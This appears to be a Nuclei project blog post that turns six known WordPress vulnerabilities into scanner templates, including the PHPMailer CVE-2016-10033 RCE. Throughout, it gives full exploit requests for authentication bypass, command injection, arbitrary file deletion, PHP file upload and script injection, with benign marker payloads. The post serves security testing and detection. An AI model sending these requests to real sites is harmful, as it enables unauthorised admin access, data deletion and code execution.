Recently we released Nuclei v2.3 with many exciting new features like TCP requests, headless support, file requests, issue tracker integration, and many more. You can read more about the release from here.

After the release, we have decided to start a series of blog posts to show off the capabilities of Nuclei engine. In this post, we are going to demonstrate how one can write nuclei templates for any known exploits, for this blog we decided to cover some known WordPress CVEs into nuclei templates.

Now, without further ado, here are some of the WordPress exploits we are going to cover in this blog post demonstrating how we can easily create templates for complex exploits and creating a workflow to run all exploits.

CVE's / Exploits covered

  • CVE-2016–10033 (WordPress Core 4.6 - Unauthenticated RCE)
  • CVE-2020–35951 (Quiz and Survey Master Arbitrary File Deletion)
  • CVE-2018–3810 (Smart Google Code Inserter Authentication Bypass)
  • InfiniteWP Client Authentication Bypass
  • WP Time Capsule Authentication Bypass
  • SimpleFilelist Unauthenticated Arbitrary File Upload RCE

Environment setup

We used docker compose file to spin vulnerable wordpress instance for a particular exploits, here is one of example of docker-compose.yaml file, compose file for other exploits can be found at vulhub.

version: '2'
services:
 web:
   image: vulhub/wordpress:4.6
   depends_on:
    - mysql
   environment: 
    - WORDPRESS_DB_HOST=mysql:3306
    - WORDPRESS_DB_USER=root
    - WORDPRESS_DB_PASSWORD=root
    - WORDPRESS_DB_NAME=wordpress

   restart: unless-stopped
   ports:
    - "9000:80"
   volumes:
    - ./wordpress/:/var/www/html/
 mysql:
   image: mysql:5
   platform: linux/x86_64
   environment: 
    - MYSQL_ROOT_PASSWORD=root

To run this, save the above config as docker-compose.yaml and execute docker-compose up -d from same location.

InfiniteWP Client Authentication Bypass

InfiniteWP Client version 1.9.4.4 or earlier is vulnerable to authentication bypass on sending a crafted unauthenticated post request it instructs the InfiniteWP client to run the add_site action and log in as the admin user.

We will simply start with sending a GET request to extract the WordPress username in order to use it in subsequent request. In second request the value of `§username§` variable will be replaced with the username found in the first request then using the helper function base64("payload") we will craft a POST request. The redirects: true will allow redirection as the first request in some WordPress instances redirects before showing the author name.

requests:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        Accept-Language: en-US,en;q=0.9
        Connection: close

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en-US,en;q=0.5
        Connection: close
        Upgrade-Insecure-Requests: 1
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        ContentLength: 3537

        _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"§username§\"}}")}}

    redirects: true

We are using two different extractors of regex type to extract username of the WordPress instance and the value will be saved as username as this comes handy while creating multi-step exploits. Here we have set the internal: true as this will avoid printing extracted values in the terminal.

    extractors:
      - type: regex
        name: username
        internal: true
        group: 1
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

At last the matcher condition which is very important to avoid any false positives.

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wordpress_logged_in"
        part: header

      - type: word
        words:
          - "<IWPHEADER>"

        part: body
      - type: status
        status:
          - 200

WP Time Capsule Authentication Bypass

WP Time Capsule is quite a popular WordPress plugin when it comes to WordPress back-ups & staging. The vulnerable version on receiving POST request with the string IWP_JSON_PREFIX calls wptc_login_as_admin() function which returns cookie of the first user.

So we simply have to send a POST request with the string to confirm if we get the valid cookie in the response and make subsequent request to confirm the logged in session.

Following block of template will make POST request and additional GET request along with cookie assigned from 1st request, cookie-reuse: true will ensure to maintain the session between subsequent requests within same template.

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

        IWP_JSON_PREFIX

      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

    cookie-reuse: true

Now we need to confirm if we logged into WordPress account successfully or not, for that we can make use of matchers to look for specific strings exists for logged in users, following block of template ensure the same.

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
          - "<h1>Dashboard</h1>"
        part: body
        condition: and

      - type: word
        words:
          - 'text/html'
        part: header

      - type: status
        status:
          - 200

Additionally we can also use make of extractors to print the session cookie in console, this is not mandatory to make this template work but always good to have more meta information.

    extractors:
      - type: regex
        part: header
        regex:
          - "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"

Reference : https://github.com/SECFORCE/WPTimeCapsulePOC

CVE-2016–10033 (WordPress Core 4.6 - Unauthenticated RCE)

The following template demonstrates Unauthenticated Remote Code Execution using the exploitation of the PHPMailer vulnerability CVE-2016-10033.

The template block below will send a GET request to extract the username which is required in order to exploit this vulnerability and the second POST request will send the payload after replacing the {{username}} variable. As this request includes malformed HOST header, we are using unsafe: true attribute which makes use of rawhttp library allowing us to send malformed HTTP requests.

requests:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Accept-Language: en-US,en;q=0.9
        Connection: close

      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} tmp2)
        Connection: close
        Accept: */*
        Content-Length: 57
        Content-Type: application/x-www-form-urlencoded

        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}

    unsafe: true

The following code block will extract the username from the first GET request and save it as username variable to be used later by the subsequent request and the matcher will match if the target is vulnerable using the string in location header and the status code.

    extractors:
      - type: regex
        name: username
        internal: true
        group: 1
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

    matchers:
      - type: word
        words:
          - "wp-login.php?checkemail=confirm"
        part: header

      - type: status
        status:
          - 302

Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

CVE-2020–35951 (Quiz and Survey Master Arbitrary File Deletion)

The vulnerable version of Quiz and Survey Master has function qsm_remove_file_fd_question registered with nopriv AJAX action while allows unauthenticated user to delete survey files but by providing full path in file_url unauthenticated users can delete any file.

Following block of template will make four requests first request will read the plugin's README.md file the second request will send a request to an endpoint which is vulnerable to Full Path Disclosure using which we will extract the full path for the third request that will send the Full path concating with the path to README.md file and additional GET request to verify if the file is deleted successfully.

requests:
  - raw:
      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Connection: close
      - |
        GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Connection: close
        
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 269
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92
        Accept: */*
        Accept-Language: en-US,en;q=0.9
        Connection: close
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="action"
        qsm_remove_file_fd_question
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="file_url"
        {{fullpath}}wp-content/plugins/quiz-master-next/README.md
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92--
        
      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en

We are using the following extractor with type regex and name fullpath to extract full path from the body of second request.

    extractors:
      - type: regex
        name: fullpath
        internal: true
        part: body
        group: 1
        regex:
          - "not found in <b>([/a-z_]+)wp"

We have set the req-condition: true as it  allows to check for condition between multiple requests for writing complex checks and exploits involving multiple HTTP request. In this template we are using matcher type dsl which allows to build more elaborate matcher expressions using helper functions. Here we are verifying if the README.md file is deleted successfully.

The DSL will match if the body_1 (the response  of first request) contains the string Quiz And Survey Master and after the third request if the status code of README.md file is changed to 301 and the response no longer contains the string.

 req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')" 

Reference : https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/

SimpleFilelist Unauthenticated Arbitrary File Upload RCE

Simple File List allows unauthenticated users to upload arbitrary files  within a controlled list of extensions but in the versions before 4.2.3 the rename function does not conform to the file extension restriction thus allowing arbitrary PHP code to be uploaded first as a png then can be renamed to php extension.

In this block of template we are sending first request to upload our payload as nuclei.png then subsequent request will rename the file to nuclei.php and the third request to validate the file upload.

requests:
  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close
        Content-Length: 693
        Content-Type: multipart/form-data; boundary=6985fa39c0698d07f6d418b37388e1b2

        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_ID"

        1
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        /wp-content/uploads/simple-file-list/
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_Timestamp"

        1587258885
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_Token"

        ba288252629a5399759b6fde1e205bc2
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="file"; filename="nuclei.png"
        Content-Type: image/png

        <?php echo "Nuclei - Open-source project (github.com/projectdiscovery/nuclei)"; phpinfo(); ?>
        --6985fa39c0698d07f6d418b37388e1b2--

      - |
        POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.25.1
        Accept: */*
        Connection: close
        X-Requested-With: XMLHttpRequest
        Content-Length: 81
        Content-Type: application/x-www-form-urlencoded

        eeSFL_ID=1&eeFileOld=nuclei.png&eeListFolder=%2F&eeFileAction=Rename%7Cnuclei.php

      - |
        GET /wp-content/uploads/simple-file-list/nuclei.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

Here are the matcher conditions to validate the file is uploaded successfully.

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Nuclei - Open-source project (github.com/projectdiscovery/nuclei)'
        part: body
      - type: word
        words:
          - 'text/html'
        part: header
      - type: status
        status:
          - 200 

CVE-2018–3810 (Smart Google Code Inserter Authentication Bypass)

The Smart Google Code Inserter plugin before 3.5 allows unauthenticated attackers to insert JavaScript code via the sgcgoogleanalytic parameter that runs on all pages.

The template block below will send a POST request with our JS payload and the second request will allow us to validate if the JS payload is added successfully.

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"

    body: 'sgcgoogleanalytic=<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
    headers:
      Content-Type: application/x-www-form-urlencoded

  - method: GET
    path:
      - "{{BaseURL}}/"

The first matcher condition below will validate if the content-type is text/html to make sure the payload can render and the second matcher will match if the payload is reflecting on the webpage.

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "text/html"
        part: header

      - type: word
        words:
          - '<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>'
        part: body

      - type: status
        status:
          - 200 

Workflows

We can also create workflows to run set of templates that run scans on multiple hosts for vulnerabilities specific to the technology. Like the following WordPress Workflow  will run all the templates related to WordPress only after it is matched by the tech-detect.yaml template. You can also checkout more workflows from here.

id: wordpress-workflow
info:
  name: WordPress Workflow Template
  author: pdteam

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: wordpress
        subtemplates:
          - template: cves/2020/CVE-2020-35951.yaml
          - template: cves/2018/CVE-2018-3810.yaml
          - template: cves/2016/CVE-2016–10033.yaml
          - template: vulnerabilities/wordpress/wordpress-auth-bypass-wptimecapsule.yaml
          - template: vulnerabilities/wordpress/wordpress-infinitewp-auth-bypass.yaml
          - template: vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml

All the templates shared in this blog is already published in nuclei templates project.

Takeaways

it's simple to automate exploits / security checks into template format letting you run the same template across multiple hosts with no extra efforts.

While performing security test, if you follow same sets of check with all the target domains manually, writing nuclei templates can easily save alot of time, as it's one time effort for all your future testing.

Questions / Feedback

If you’re already a user of nuclei and would like to suggest some feature or share some ideas, feel free to reach out @pdnuclei. We’d love to hear from you.

Few useful resources to write your own nuclei templates-

Template guide document  -  https://nuclei.projectdiscovery.io/templating-guide/
Template Github project - https://github.com/projectdiscovery/nuclei-templates
Nuclei installation - https://nuclei.projectdiscovery.io/nuclei/get-started/
Nuclei Github project - https://github.com/projectdiscovery/nuclei

Contributions of new templates as well as ideas are very welcome! 🙏